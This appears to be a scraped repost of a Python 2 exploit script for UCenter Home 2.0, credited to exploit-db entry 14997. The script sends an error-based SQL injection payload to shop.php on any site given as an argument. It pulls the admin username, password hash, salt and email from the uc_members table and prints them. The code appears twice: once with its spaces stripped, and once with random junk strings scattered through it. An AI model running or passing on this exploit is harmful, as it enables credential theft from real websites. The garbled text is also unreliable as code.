UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
4 M0 T9 E" H9 P1 c7 @- ^! d; V; r
) {" }: H  |* z9 i
#!/usr/bin/env python  

import sys  
import urllib2  
- |3 ?7 f: t1 x8 ?- ]' himport re  

def info():  
    print 'From:http://www.exploit-db.com/exploits/14997/'
    print 'http://www.hake.cc/Web_loudong/'
9 B2 M! S% S  Z6 o1 b0 p2 L    print 'changed:qiaoy'  
1 ~; h* ^9 M" D- c* @2 J7 O    print 'exp:'  
: K8 q! n# t8 y' \* B    print ' ./UCenter_Home_2.0.py site'  
8 [& x( c% t, \
def main():  
    if len(sys.argv) != 2:  
6 ^9 w6 ^1 W! @" z* n6 e        info()  
    else:  
        site = sys.argv[1]  
! ?0 s4 Y* W# X' x* ^8 x6 ^! E        if site[0:7] == 'http://':  
            sitesite =site  
5 S, f2 d9 K' K2 j& V        elif site[0:8] == 'https://':  
            sitesite = site  
2 z* s1 X( q! i1 b# a! x, O5 v        else:  
9 R, |: X3 g3 I" w            site = 'http://'+site  
        try:  
' o2 j2 e2 ?- l6 f+ }' a            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
            Value = urllib2.urlopen(url).read()  
) [% N* Q4 [8 s% p& b$ J3 a. F% I+ M            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
1 F" Y: M$ _% u. ~3 T& n" \0 ~            hacked = Msg.split(':')  
            print 'Name:    '+hacked[1]  
            print 'Passwd:  '+hacked[2]  
7 m9 `6 ^6 M, m  h# c0 a8 u            print 'salt:    '+hacked[3]  
            print 'email:   '+hacked[4]  
        except:  
% l3 L7 [' ?! k% Q1 C            print 'Sorry,I can\'t work............'  
& z, Y& z/ e8 |6 a1 f  c- }
if __name__ == '__main__':  
  R2 b* Q6 y/ `    main()